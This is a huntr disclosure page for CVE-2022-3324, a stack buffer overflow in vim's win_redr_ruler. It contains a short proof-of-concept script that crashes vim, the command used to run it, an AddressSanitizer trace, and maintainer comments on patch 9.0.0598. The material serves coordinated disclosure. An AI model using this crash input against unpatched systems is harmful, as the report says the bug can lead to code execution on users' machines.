huntr

Stack-based Buffer Overflow in function win_redr_ruler in vim/vim

0

✓ Valid

Reported on Sep 25th 2022

Description

Stack Buffer Overflow in function win_redr_ruler at drawscreen.c:799.

vim version

```
git log
commit ec1238b4068d0d6d9d02ac1a8e61720224a1be73 (grafted, HEAD -> master, t
```



Proof of Concept

```
poc download url:
https://raw.githubusercontent.com/Janette88/vim/main/poc1_stack.txt

xxd -r < poc1_stack.txt | tee poc1_stack.dat
se encoding=iso8859
norm:se!r
wi0 0
no0 H
sil0norm0000000q:

./vim -u NONE -i NONE -n -m -X -Z -e -s -S /home/fuzz/test/poc1_stack.dat -
redrawtime=2000 regexpengine=0 report=2 rightleftcmd=search rulerforn
===49463==ERROR: AddressSanitizer: stack-buffer-overflow on Chat with us
WRITE of size 1 at 0x7ffff6c3b45e thread T0</pre>
```

```
#0 0x560f8d425424 in win_redr_ruler /home/fuzz/vim/src/drawscreen.c:799
    #1 0x560f8d42384f in win redr status /home/fuzz/vim/src/drawscreen.c:55
    #2 0x560f8d4362a5 in redraw statuslines /home/fuzz/vim/src/drawscreen.c
    #3 0x560f8dae447a in main loop /home/fuzz/vim/src/main.c:1425
    #4 0x560f8d536cf9 in open cmdwin /home/fuzz/vim/src/ex getln.c:4554
    #5 0x560f8d52b67e in getcmdline_int /home/fuzz/vim/src/ex_getln.c:1934
    #6 0x560f8d5294f0 in getcmdline /home/fuzz/vim/src/ex getln.c:1554
    #7 0x560f8d52f605 in getexline /home/fuzz/vim/src/ex getln.c:2846
    #8 0x560f8d4e12db in do cmdline /home/fuzz/vim/src/ex docmd.c:873
    #9 0x560f8d69aa55 in nv colon /home/fuzz/vim/src/normal.c:3205
    #10 0x560f8d68dae3 in normal cmd /home/fuzz/vim/src/normal.c:937
    #11 0x560f8d50ee23 in exec normal /home/fuzz/vim/src/ex docmd.c:8842
    #12 0x560f8d50ebe2 in exec normal cmd /home/fuzz/vim/src/ex docmd.c:880
    #13 0x560f8d50e486 in ex_normal /home/fuzz/vim/src/ex_docmd.c:8723
    #14 0x560f8d4ea8f1 in do one cmd /home/fuzz/vim/src/ex docmd.c:2569
    #15 0x560f8d4e1b4d in do cmdline /home/fuzz/vim/src/ex docmd.c:990
    #16 0x560f8d807ac8 in do_source_ext /home/fuzz/vim/src/scriptfile.c:160
    #17 0x560f8d808cfd in do source /home/fuzz/vim/src/scriptfile.c:1811
    #18 0x560f8d8057bb in cmd source /home/fuzz/vim/src/scriptfile.c:1163
    #19 0x560f8d805820 in ex source /home/fuzz/vim/src/scriptfile.c:1189
    #20 0x560f8d4ea8f1 in do one cmd /home/fuzz/vim/src/ex docmd.c:2569
    #21 0x560f8d4e1b4d in do cmdline /home/fuzz/vim/src/ex docmd.c:990
    #22 0x560f8d4dfee7 in do cmdline cmd /home/fuzz/vim/src/ex docmd.c:584
    #23 0x560f8daea1fb in exe commands /home/fuzz/vim/src/main.c:3139
    #24 0x560f8dae336e in vim main2 /home/fuzz/vim/src/main.c:781
    #25 0x560f8dae2c26 in main /home/fuzz/vim/src/main.c:432
    #26 0x7fa526142082 in __libc_start_main ../csu/libc-start.c:308
    #27 0x560f8d35de4d in start (/home/fuzz/vim/src/vim+0x13be4d)
Address 0x7ffff6c3b45e is located in stack of thread T0 at offset 78 in fra
    #0 0x560f8d424099 in win redr ruler /home/fuzz/vim/src/drawscreen.c:642
 This frame has 3 object(s):
    [48, 52) 'attr' (line 647)
    [64, 68) 'virtcol' (line 649)
    [80, 150) 'buffer' (line 644) <== Memory access at offset 78 underflows
HINT: this may be a false positive if your program uses some custom stack ι
      (longjmp and C++ exceptions *are* supported)
                                                                Chat with us
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/fuzz
Shadow bytes around the buggy address:
                           00 00 00 00 00 00 00 00 00 00 00
```

```
=>0x10007ed7f680: 00 00 f1 f1 f1 f1 f1 f1 04 f2 04[f2]00 00 00 00
 0x10007ed7f690: 00 00 00 00 06 f3 f3 f3 f3 f0 00 00 00 00 00
 0x10007ed7f6b0: f1 f1 04 f3 f3 f3 00 00 00 00 00 00 00 00 00 00
 0x10007ed7f6c0: 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 f4 f2
 Shadow byte legend (one shadow byte represents 8 application bytes):
 Addressable:
                00
 Partially addressable: 01 02 03 04 05 06 07
 Heap left redzone:
                 fa
 Freed heap region:
                 fd
 Stack left redzone:
                 f1
 Stack mid redzone:
                 f2
 Stack right redzone:
                 f3
 Stack after return:
                 f5
 Stack use after scope:
                 f8
 Global redzone:
                 f9
 Global init order:
                 f6
 Poisoned by user:
                 f7
 Container overflow:
                 fc
 Array cookie:
                 ac
 Intra object redzone:
                 bb
 ASan internal:
                 fe
 Left alloca redzone:
                 ca
 Right alloca redzone:
                 ch
 Shadow gap:
                 CC
==49463==ABORTING
```

→

poc: https://raw.githubusercontent.com/Janette88/vim/main/poc1_stack.txt

Impact

Chat with us

This vulnerability is capable of arbitrary code execution.

CVE

CVE-2022-3324 (Published)

Vulnerability Type

CWE-121: Stack-based Buffer Overflow

Severity

High (7.8)

Registry

Other

Affected Version

*

Visibility

Public

Status

Fixed

Found by



janette88

@ianette88

master 🗸

Fixed by



Bram Moolenaar

@brammoo

maintainer

This report was seen 1346 times

We are processing your report and will contact the **vim** team within 24 hours. 2 months ago

We have contacted a member of the **vim** team and are waiting to hear back 2 months ago

Chat with us

I can reproduce it, but it's hard to find the real cause. I can avoid the window width becoming negative, but there might still be another problem.

janette88 has been awarded the disclosure bounty 🗸

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Bram Moolenaar 2 months ago

Maintainer

Fixed in patch 9.0.0598 for now. There might be another problem, feel free to poke at it.

Bram Moolenaar marked this as fixed in 9.0.0598 with commit 8279af 2 months ago

Bram Moolenaar has been awarded the fix bounty 🗸

This vulnerability will not receive a CVE x

thestoryend a month ago

When can we get a complete fix for this problem (CVE-2022-3324)?

Bram Moolenaar a month ago

Maintainer

The reported problem has been fixed. If you find another one please provide a way to reproduce it. You can create an issue at github or here at huntr.

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